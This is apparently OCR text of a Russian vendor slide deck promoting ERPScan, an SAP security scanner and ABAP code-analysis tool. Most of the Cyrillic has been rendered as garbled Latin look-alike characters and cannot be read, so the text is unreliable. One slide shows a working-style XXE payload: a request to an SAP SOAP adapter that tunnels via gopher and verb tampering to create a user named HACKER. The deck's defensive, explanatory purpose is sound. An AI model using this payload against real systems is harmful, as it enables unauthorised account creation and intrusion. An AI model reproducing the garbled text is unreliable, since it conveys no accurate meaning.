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Beaywunin naptHep SAP AG nNo NOMCKY M 3aKPbITUIO YA3BUMOCTEN.
* Onybnnkosanu 6onee 100 yassmmocTeir B KomnoHeHTax SAP

* Bbonee 100 yassumocTteu KaeT UCNpaBaeHUs KomnaHuen SAP

* PykosogAaT npoektom OWASP-EAS

* [lOCTOAHHbIN YY4AaCTHUK KNOYEBBLIX MEKAYHAPOAHbIX KOHbDEpPEHUMIM NO
6e3onacHoctu (BlackHat, Defcon, CONFidence, RSA)

m ERPScan — uHBecTUpyiTe B 6€30NacHOCTb ANA 3alUTbl BalLMX MHBECTUL M _
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MoHuTopuHr 6esonacHoctu SAP

m ERPScan — uHBecTUpyiiTe B 6€30NacHOCTb ANA 3alMTbl BallUX UHBECTULUIA _
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“We would like to thank the world-class
security experts of ERPScan for the highly
qgualified job performed to help us assess the
security of our pre-release products”.

Yicel Karabulut, Ph.D.
Senior Director, Head of Global Security Alliance Management

Product Security, Technology and Innovation Platform
SAP Labs, Palo Alto, USA

LLita6-kBapTupa Digital Security B Mockse: +7 (495) 223-07-86
LleHTp R&D Digital Security B Cankr-MeTtepbypre: +7 (812) 703-15-47
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- ) ERP Tpu pomeHa 6e3onacHocTu SAP

2002

Be3onacHOCTb 6u3sHec-
NOMNKU

3awuma om owubok padpabomyuxkos

PeweHue:

be3onacHocmeo
naamagopmel

Monitoring




Camble nonynapHble:
BlackHat

HITB
Troopers
RSA
Source
DeepSec
UT. A.
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SAP Security Notes

Ha 1 oktAbpa 2013 r. —6onee 2700

2003 2004 2005 2006 2007 2008 2009 2010 2011

NocraTouHo Bcero anwb OJHOW,
4yTo6bI NONYUUTL AocTtyn KO BCEM Bawmm gaHHbIM

m ERPScan — uHBecTUpyiiTe B 6€30NacHOCTb ANA 3alMTbl BallUX UHBECTULUIA
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__DERP

<

IXISOAPAdapter/servlet/com.sap.aii.af.m
p.soap.web.DilbertMSG?format=post
HTTP/1.1

Host: company.com: 80

<?xml version="1.0" encoding="ISO-
8859-1"?>

<IDOCTYPE foo [

<IELEMENT foo ANY >

<IENTITY date SYSTEM
“gopher://172.16.0.1:3300/HEAD
/ctc/ConfigServiet?
param=com.sap.ctc.util.UserConfig;
CREATEUSER,;
USERNAME=HACKER,PASSWORD=Pa

<foo>&date;</foo>

ssWord" >]> /

No such service 404

(filtered by WebDispatcher)

GET /CTC

XXE Tunneling to Verb Tampering

Server A on the Internet
(WebDispatcher)

To 172.16.0.1 port 50000

http://company.com
/HEAD
/ctc/ConfigServlet?param=com.sa
p.ctc.util.UserConfig; CREATEUSER;
USERNAME=HACKER,PASSWORD=
PassWOrd

'/
Port 50000
J2EE CTC
service
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LUnnoHax

* Kpaka pnHaHcoBOM MHbOpmaLum

e Kpara nepcoHanbHbIX CEKPETOB

* CnMCKM NOCTaBLMKOB M KOHTPAreHToB

Cabortax

e (OTKa3 B 06CNYyXKUBAHUMU

* MoaudunKkauma pMHAHCOBOM OTYETHOCTH

* HapyuweHue pabotocnocobHocTn aoBepeHHbIx cuctem (SCADA)
MoweHHU4YyecTso

* [logmeHa AaHHbIX O NiaTexax

* JIOXHble TpaH3aKuuu

C 2006 no 2010 roabl, no aaHHbIMm ACFE, notepu opraHmnsauum ot
BHYTpeHHero ¢poaa coctaBunm 7 % ot eXXeroaHou BbipyuKuU

m ERPScan — uHBecTUpyiTe B 6€30NacHOCTb ANA 3alUTbl BalLMX MHBECTUL M _
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) ERPScan
V/ Security Monitoring Suite

ERPScan Security Monitoring Suite for SAP — MHHOBAUWOHHbIN NPOAYKT
AN KOMMNJIEKCHOW OUEHKM 3aWULLEHHOCTU U COOTBETCTBUA CTaHAAPTaM
ana nnatpopmbl SAP. ERPScan no3sonaeT npockaHMpoBaTb cepBepbl SAP
Ha HaAnyme nMnPOrpamMMmHbIX YA3BUMOCTEN, OLWIKMOOK KOHPUrypaumu,
KPUTUYHbBIX NOTHOMOYUN M NPOBECTU OLLEEHKY COOTBETCTBUA aKTYa/IbHbIM
CTaHOapTamM N pekomeHZaumnam, BKAtoHaa pekomeHgaunm SAP.

m ERPScan — uMHBecTUpyiiTe B 6€30MacHOCTb A8 3al4MTbl BalUMX UHBECTULMIA
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BbusHec-pyHKLUUN
M CooTBeTcTBUE )
eTpM A CTaHOapTam » Tl
2

dyHKUMKM ynpaBneHus

NHBeHTapu3ayma YnpasneHune npoekTamu Nonb3oBaTtenun

AyauTt AHanus 6esonacHoctn ABAP-kopa Segregation of Duties

Yy Mpoun3BoauTeNbHOCTD SoD Kputuibie
‘ Ownbkn Koudmrypau.ou ‘ S M & . J a J ‘ NONIHOMOYUA

VA3BUMOCTH KpuTuuHbIi goctyn ‘ MporpammHbie 3aKNagKu ' | OnTMmusauma poneii J

) ABAP KoHHeKTOopbI JAVA
SOAP SAP Router HTTP

m ERPScan — uHBecTUpyiiTe B 6€30NacHOCTb ANA 3alMTbl BallUX UHBECTULUIA



OueHKa Ha COOTBETCTBME NOocCneAHMM peKomeHaaumam SAP, npoueaype ayanTa
oT ISACA (ctranpapt ITAF), DSAG 1 OWASP-EAS

m ERPScan — uHBecTupyiiTe B 6€30NacHOCTb ANA 3aLMTbl BalLMX UHBECTULUIA



AHann3 HanMuMAa ownboK KoHPUrypauum, ny6/1IMYHbIX YA3BUMOCTEMN, 3 TaKKe
YA3BUMOCTE HyNeBOro AHA B Koae ABAP no3BonsieT cBOEBPEMEHHO
3alMTUTLCA OT XaKepPCKUX aTak

m ERPScan — uHBecTUpyiTe B 6€30NacHOCTb ANA 3alUTbl BalLMX MHBECTUL M




AHaNU3 KPUTUYHDBIX MOJIHOMOUYMI Ha AOCTYN K KPUTUYHbIM A1 BusHeca
AAHHbIM U nHTEpdencam aaAMMHUCTPUPOBAHUA NO3BONAET BbISBUTb BO3MOMKHbIE
bpewn B poneBor moaenn n NpeaoTBpaTUTb MHCAUAEPCKUE aTaKU

m ERPScan — uHBecTupyiiTe B 6€30NacHOCTb ANA 3aLMTbl BalLMX UHBECTULUIA
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BcTpoeHHas 6a3a 3HaHWUIM C ONMCAHUEM U PEKOMEHAAUMAMM MO YCTPAHEHULO
YAA3BMMOCTEMN, a TaKKe HOBOCTHAA JIeHTA C MHPOPMaALMEN O NOCNeAHMX Yrpo3ax
CHU3UT 3aTpaTbl Ha 0by4yeHMe nepcoHana

m ERPScan — uHBecTupyiiTe B 6€30NacHOCTb ANA 3aLMTbl BalLMX UHBECTULUIA



CKaHMpOBaHUE OT MMEHM YYETHOW 3aNMCKM C MUMHUMAIbHbIMWU NPaBaMM Ha
yTeHue B cucteme SAP UCKNIOYAET AarKe TEOPETUYECKYHO BO3MOXHOCTb
HapyweHuna pabotocnocobHocTH

m ERPScan — uHBecTUpyiTe B 6€30NacHOCTb ANA 3alUTbl BalLMX MHBECTUL M



RPScan  EPiconOnine DSeBG SAP Mows

D ERPScan

Dpocsry » demod » Cxamposamne oT 28/04/2011 18:18:49
Security Samner for SAP

Hacrpoitan mansmrs (000

Hacrpodeon nasaanrs (001
Hacrpolus manganras [t
& JAVA
2 Bbi ROMKHBI YKA3ATS 3A€Ch NPULMHY 1O KOTOPOH BbI XOTUTE.
Macrpodu Java MPUHSTS STOT PUCK BMECTO TOro, 4TobI y6paTs ero.

RanHbie npasa
6

s cero
i ONUCaHbl B
"0 i 1.5 or 2011")

SAP_ALL mowet cosepaats Acbue SedcToun 8
CncTeme. Ectu und Bacseans KommpomeTauMe

CoxpaHuTs 3aKpbITh

09a0otuse (614) )
0ogoofinge (583)

@ >uenace 3ammcn ¢ npodwsen SAP_NEW
¥ 3 flocryn x rabamuan

@ Nomicearens, weeoume SOy ©

(3463)
@ NonuaosaTan, weesume SOCTYN Ka Hamenere CHCTammax TS, NOZDOGMee (465)
© Cncremase Tabawm ¢ » (8115)
0 Tobiamum ¢ noapoluee (140)

T Npovume napancipe asTopesaime

[} nposepos an

° npoeepox .

@ Napanerpu asToprIaum 2ae RIC-Eas0e0s
B e cvvnena

BcTpoeHHas oueHKa PUCKOB Ha OCHOBE MHOXECTBEHHbIX KpUTepueB 1 yaobHasn
BO3MOXHOCTb NPUHATUA PUCKA

m ERPScan — uHBecTupyiiTe B 6€30NacHOCTb ANA 3aLMTbl BalLMX UHBECTULUIA



NoBpo nowanosath B ERPScan Security Scanner for SAP

ERPScan
Security Scanner for SAP

Havano paboTel

s 30YCTUTe 6CTDOR CKaHMDOBRHME
&) Coanate Womwii npoext
1 1) i

NposepuTs pabouyio CTakusio

Momowe

- Coapariue nonk3oearena ERPSCAN 8 ABAP
UHCTaHLMM

[ cosaaue nonesossrens ERPSCAN & Jave.
uHCTaHU

MocneaHue yrposel 6esonacHoCTH

[ wozn
Al n)

1) 08,0301 Kpunuecoe GezonacHocTt
SAP 33 MapT 2011

[ ps.02.2011 Kpyrnueckoe ofkoenense Gezonacocr
SAP 32 MapT 2011

L) 20012011 Uinuowax, cabiorax u dpos: ka
ERP-cucTembl
PYKDBOE,CTBB no GesonacHocTi

B] p122010 'SAP Security recomendations protecting.
JAVA and ABAP based SAP applcations against
‘common attacks” - SAP

" Al "
application server ABAP" - SAP

. PyK0BOACTBO N0 _BbiCTPOMY C
Il pyxosoncreo no cozpamui npoextos
. PYKOBOACTEO NO YNDAENEHHI NDOEKTAMM

[7] e nokaseisats Gonbuwe 370 ko,

03,09.2009 "BE30NACHOCTE SAP - AT3KH H3 SAP.
KAMeHTOB' - DSecRG

3aKpeITh

28/04/2011 16:49
28/04/2011 13:18
28/04/2011 12:32

BcTpoeHHas 6a3a 3HaHWI € aeTaibHOU MHGOpMaumMent U peKoMeHAALUAMM NO
YCTPAHEHUIO KaXKA0M YA3BMMOCTH

m ERPScan — uHBecTupyiiTe B 6€30NacHOCTb ANA 3aLMTbl BalLMX UHBECTULUIA




&8 © erpscan.live.dsec/client/index.ntm!

ERPScan  ERPSnOnine  DSeRG  SAPNotes

) ERPScan
Security

Cozpanme Npoexa -> [lONOHNTENLHEIE HACTPORION

C ERP. Bumbepnre n nposepox
@ PRD - 172.16.0.2 [0]

. Oumbicn @
]

[] Komrpone aocryna

E QAS-172.16.0.1 [1]
- ABAP ayTeNTWGHKELNA
JAVA ayTeHTHGNKALMS [¥] Whposarime

[¥] Mowuropun

[V] Noune nacrpoiikn Gesonacroctu

/ Cootsercrame cranpapran (@)
[¥] Pexoneraaumn SAP

[ Pexonernauun ISACA (ITAF)

27 YassamocTn

[¥] Nocnearme obrosnerna

[¥] Heycranosnennbie SAP Note

[¥] OnyBnnxosanne yszeunocrn @
& sxcmam: @

[V] ¥azenmocru mynesoro ans @

12/03/2011 22:04 -

09/03/2011 21:14
03/03/2011 20:11
02/03/2011 19:13

AHanns owmnboK KoHpUrypauum, yassBMmocTeH,
KPUTUUYHbIX NO/IHOMOYUA
Bonee 7000 npoBepok Ana nHctaHumm ABAP n JAVA

m ERPScan — uHBecTUpyiTe B 6€30NacHOCTb ANA 3alUTbl BalLMX MHBECTUL M —




) ERPScan

Security Scanner for SAP

Code Review

2 @) UNKNOWN (64)
Lo @ 172.16.0.63 (64)
L. @) ABAP (54)
(E| @ Gateway (64)

. ) ERPScan

...... Client: 000 (64,

Projects » abap code » SAP scanning 25/01/2013 15:48:05

. Expand all By category |v | Hide: [ | success | | accepted [ | error

Name
» [ critical statements
» 1 critical request to database
¥ [ Backdoors
¥ 7 Simple backdoors
@ Use of a Transaction Call 'CALL TRANSACTION'
() Use of a Transaction Call 'LEAVE TO TRANSACTION'
. Use of a RFC Function Call
@ Use of Native SQL
o Client-specific accesses
@ Hardcoded username
@ Use of a Critical transactions via 'CALL TRANSACTION'
@ Use of critical transaction Call 'LEAVE TO TRANSACTION

Il » [ Performance Checks

» (] 0S access

Value

more (21)
more (9)

more (13)
more (333)
more (13)
more (21)

Accept Risk

ooogd oOoo

ERPScan demo

Solution Additional

Use of a Critical transactions via 'CALL TRANSACTION'

Solution:

For CALL TRANSACTION there must already be a
suitable transaction authorization with the calling
transaction.

For the better protection it is recommended to restrict
access to the statement.

Links:
&3 http://help.sap.com/abapdocu 702/en/abapcall trans
action.htm

Mposepka ABAP-Koaa cobcTBeHHOM pa3paboTKn Ha YA3BUMMOCTM,
nporpamMmmHble 3aKNaAKN, KPUTUYHDbIE 3anpocbl, a TaKXKe TecTbl
npousBoanTeNnbHOCTU (68 TMNOB Npobem)

m ERPScan — uHBecTUpyiiTe B 6€30NacHOCTb ANA 3alMTbl BallUX UHBECTULUIA —
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B C D E F G H | ] K
I_R ROLENAME ACTIONNAME TRANSACTION AUTH

. 2 | Fixed_assets Users with access to CREATE an asset in SAP R/3 AS01 [(A_A_VIEW(VIEW(™)}) &(A_S_ANLKL(ACTVT(01),ANLKL(™),BUKRS(™)))]
' 3 | Fixed_assets Users with access to MODIFY an asset in SAP R/3 AS02 [(A_A_VIEW(VIEW(™)))&(A_S_ANLKL(ACTVT(02),ANLKL(™),BUKRS(™)))]
' 4 | Fixed_assets Users with access to BLOCK an asset in SAP R/3 AS05 [(A_A_VIEW(VIEW(™)}) &(A_S_ANLKL(ACTVT(05),ANLKL(™),BUKRS(™)))]
' 5 | Fixed_assets Users with access to DELETE an asset in SAP R/3 AS06 [(A_A_VIEW(VIEW(™)}) &(A_S_ANLKL(ACTVT(06), ANLKL(™),BUKRS(™)))]
' 6 | Fixed_assets Users with access to acquire assets in SAP R/3 ABZE [(A_B_BWART(ANLKL(™),BWASL(™)))&(A_B_ANLKL{ACTVT(01),ANLKL(™),BU
. 7 | Fixed_assets Users with access to acquire assets in SAP R/3 ABZK [(F_BKPF_BUK({ACTVT(01),BUKRS(™}))]
' 8 | Fixed_assets Users with access to acquire assets in SAP R/3 F-30 [(F_BKPF_BUK(ACTVT(01),BUKRS(™)))&(A_B_ANLKL(ACTVT(01),ANLKL(™),BY
' 9 | Fixed_assets Users with access to acquire assets in SAP R/3 ABZV [(F_BKPF_BUK(ACTVT(01),BUKRS(™)))]
' 10| Fixed_assets Users with access to acquire assets in SAP R/3 ABZP [(F_BKPF_BUK(ACTVT(01),BUKRS(™}})&(A_B_ANLKL(ACTVT(OL1),ANLKL(™),BY
' 11| Fixed_assets Users with access to CREATE an asset group in SAP Rf3  AS21 [(A_A_VIEW(VIEW(™)})&(A_S_ANLGR{ACTVT(01),BUKRS(™)))] 3
' 12| Fixed_assets Users with access to MODIFY an asset group in SAPR/3 AS22 [{(A_A_VIEW(VIEW(™)))&({A_S_ANLGR{ACTVWT(02),BUKRS(™)))]
13| Fixed_assets Users with access to BLOCK group asset in SAP R/3 AS25 [{A_A_VIEW(VIEW(™)))&(A_S_ANLGR{ACTVT(05),BUKRS(™)))]
14| Fixed_assets Users with access to DELETE an asset group in SAP R/3  AS26 [(A_A_VIEW(VIEW(™)})&[A_S_ANLGR{ACTVT(06),BUKRS(™)))]
' 15| Fixed_assets Users with access to open and close posting periods ~ 0B52 [{S_TABU_DIS(ACTVT(02),DICBERCLS(FC31)))]
' 16| Fixed_assets Users with access to open and close posting periods  5_ALR_87003642 [(5_TABU_DIS{ACTVT(02),DICBERCLS(FC31)))]
17| Fixed_assets Users with access to asset write-up in SAP R/3 ABZU [(A_B_ANLKL(ACTVT(01},ANLKL(™),BUKRS(™)))&(A_B_BWART(ANLKL(™),BW
' 18| Fixed_assets Users with access to enter asset write-up in SAPR/3  ABZS [(A_B_ANLKL(ACTVT(01),ANLKL(™),BUKRS(™)))&(A_B_BWART(ANLKL(™),BW
' 19| Fixed_assets Users with access to manually DEPRECIATE an asset in SiABMA [(A_B_ANLKL{ACTVT(01},ANLKL(™),BUKRS(™)))&(A_B_BWART(ANLKL(™),BW
| 20| Fixed_assets Users with access to execute depreciation runs/post de AFAB [(A_PERI_BUK{AM_ACT_PER(30),BUKRS(™)})]
' 21| Fixed_assets Users with access to execute depreciation runs/post de AFABN [{(A_PERI_BUK(AM_ACT_PER(30),BUKRS(™]))]
' 22| Fixed_assets Users with access to execute depreciation runs/post de SM35 [(5_BDC_MONI{BDCAKTI(~),BDCGROUPID{™)}) | {5_BDC_MONI{BDCAKTI{AB"
' 23| Fixed_assets Users with access to CREATE charts of depreciation OAP1 [(A_C_AFAPL{ACTVT(01),AFAPL(™)})]
24| Fixed_assets Users with access to CHANGE charts of depreciation OAP2 [(A_C_AFAPL(ACTVT(01),AFAPL(™)))]
' 25| Fixed_assets Users with access to RETIRE fixed assets without revenu ABAVN [(A_B_ANLKL{ACTVT(01),ANLKL{™),BUKRS(™)))&(A_B_BWART(ANLKL{™),BW

Civad accatc lcarc with c in BETIBE fivad accatcwithnut ravany ARAV a0 AMIWIIACTYTIONY AR DHVBS~NIRIA B BWABRTIARI K™~ DA

isaca_fixed_asset_table

[MTONCK NONb30BaTENEN C KPUTUUYHBIMU NPUBUIETNAMMU
Ha ocHoBe bu3Hec-npoueccos no ISACA
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CtaTtnyeckum aHanums Koaa

m ERPScan — uHBecTUpyiiTe B 6€30NacHOCTb ANA 3alMTbl BallUX UHBECTULUIA —
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* 50 % KOMNaHM MMEIOT ONbIT NOTEPU BbIPYYKU BCAEACTBUE
MHUMAEHTOB

* 95 % ysa3BUMOCTEN COAEPKMUTCA B NpOorpaMmmHom obecrnevyeHmu
e 75 % aTtak NpoMcxoauT Ha YPOBHE NPUIOKEHUN

[lpu4yuHa — Hebe3omnacHsIU KOO

* 3I'IOVMbILLIl'IEHHMK MOXET IKCNZIyaTnpoBaTb YyA3BMMOCTU B KOAe
TaK Xe, KakK U apyrme yasasmmocCcTtTu

* 3aKnajKa B Koae nporpammobl AaeT MHCAUAEepY BO3MOXKHOCTb
nocTyna K MHpopmaumnm

m ERPScan — uHBecTUpyiiTe B 6€30NacHOCTb ANA 3alMTbl BallUX UHBECTULUIA —



MnaHupo
BaHMe

NMpoeKTu
poBaHue

Tectupos
aHue

BHeppeH
ue

D ERPScan

* BbiABAeHWE yA3BMMOCTEN Ha PaHHEM 3Tane SKOHOMUT AEHbIN U
Bpems

e TpeboBaHuA
* Mogenb yrpo3s/Mogent HapywuTens

* AHaNN3 apXUTEKTYpPbI
* AHanu3 pUCcKoB

e CTaTM4YeCKMA aHaNu3 Ko4a

o IMHaMUUYeCKUiA aHanu3 Koaa/dassuHr

e TecTbl Ha NPOHUKHOBEHUE

m ERPScan — uHBecTUpyiTe B 6€30NacHOCTb ANA 3alUTbl BalLMX MHBECTUL M —
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* [lonHoTa
* TOYHOCTb

m ERPScan — uHBecTUpyiTe B 6€30NacHOCTb ANA 3alUTbl BalLMX MHBECTUL M
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* CurHaTtypHbi aHanus (1980-e)

* AHanm3 NoToKoB AaHHbIX (2000-e)

-

/
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* PacnpepeneHune yasBumocTeu B Koge Ha A3bike ABAP:

1%

3% m1-XSS
M 2 - Missing authorisation check
.. 3 - Directory traversal
W 4 - SQL Injection
M 5 - Information disclosure
B 6 - Code injection
M 7 - Authentication bypass
M 8 - Hardcoded credentials
9 - Remore code execution

10 - Verb tampering

* YA3BMMOCTM, CBSA3aHHbIE C HEMNPABUAbHOM Baanaaumen AaHHbIX:
— cocTtaBastT 6onee 50 %
- O6HapY)KM BAOTCA TO/IbKO MeTOA40M aHaJ/iu3a NOTOKa AdHHbIX

m ERPScan — uHBecTUpyiiTe B 6€30NacHOCTb ANA 3alMTbl BallUX UHBECTULUIA n
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CUrHaTypHblii aHanms AHanu3 NOTOKa AaHHbIX

M J/ToXKHbIX cpabaTbiBaHMM - 96 M J10XKHbIX cpabaTtbiBaHUM - 1

W YazsumocTten - 4 W YazsumocTten - 4
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* bbiCTpOe CKaHMpoBaHMe Koaa

- HDOBepKa KOA4da Ha 3dakK1adKnU N YA3BMUMOCTU NO LLIa6l'IOHy

 CMHTaKCMUYECKMMN U CeMaHTUYECKUI aHau3 Koaa

— AHaNM3 NOTOKa AadHHbIX
* AHaNnU3 PUCKOB
* BO3MOXHOCTb OTC/1eAMNTb aBTOPA U3SMEHEHNI
* Bblgaya AeTanbHbIX peKomeHAaunn No YCTPAaHEHUIO
* IHTerpanbHble oT4yeThl

* YNOoOHbIN MHTEPPENC ANA KOHTPOIA U MOHUTOPUHIA MHOMKECTBA
NPOEKTOB Pa3HbIMU IHOAbMMU
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. Muvekuuu (SQL, Koga nam komang OC)

. Kputnunbie 3anpocsl (K CYBA, OCu . 4.)

. OTCcyTCTBME MM OWWIMOKM KOHTPONA AOCTYNa

. Obxopn KaTanora

. bakgopeobl

Moandunkauma otobparkaemoro KoHTeHTa (MHbekummn XSS, JS)
. CKpbITble KaHa/ibl yTEUYKU

PasrnaweHune nHpopmauum

© 0 N O U A WN PR

. YCTapeBLlwmne KOHCTPYKLUU
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D ERPScan

* [lopaep*knsatoTca:
— ABAP/4, PeopleCode, X++, 1C

e 3an/J1IaHUPOBAHbI B baAMKaNLWNX OOHOBIEHUAX:
— JAVA, C, C++, C#, PHP, PL/SQL
* Bpema nobaBneHns HOBOro A3blka: 50 aHewn

— Tocne 3Toro aHanM3aTop C NOAAEPKKOM HOBOTO A3blKa MOXKeT
MCNONb30BaTLCA KIMEHTAMMU CAMOCTOATE/IbHO

— B panbHenwem — NocToAHHOE NOBbILWEHME KaYeCcTBa aHa/n3a U
nobaBneHne HoBbIX MPOBEPOK

m ERPScan — uHBecTUpyiTe B 6€30NacHOCTb ANA 3alUTbl BalLMX MHBECTUL M _
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Mbl yaensem ocoboe BHMMaAHME XENaHMAM HAWUX 33aKa3UMKOB WU
MOTEHLUMANbHbIX MOKYNaTe/Ien U NOCTOAHHO Y/lyyllaemM Hallu NPOAYKTbI.

Echv Bbl cumTaete, 4yto Hawe MO He MMeeT KaKoro-to Heobxoammoro
dYHKUMOHANA, TO Bbl MOXKETE HANMUCaTb WUAU NO3BOHUTb HaM, N Mbl
NoCTapaemMca y4yecCTb BaluM MOXe/NaHuA B cAeaylouwMux penusax wuav
eXxemecAYHbIX 06HOBNAEHUAX.

Ten. /dakc: +7 (495) 223-07-86, +7 (812) 703-15-47
web: www.dsec.ru, www.erpscan.ru
e-mail: info@erpscan.ru, sales@erpscan.ru

m ERPScan — uHBecTUpyiiTe B 6€30NacHOCTb ANA 3alMTbl BallUX UHBECTULUIA _



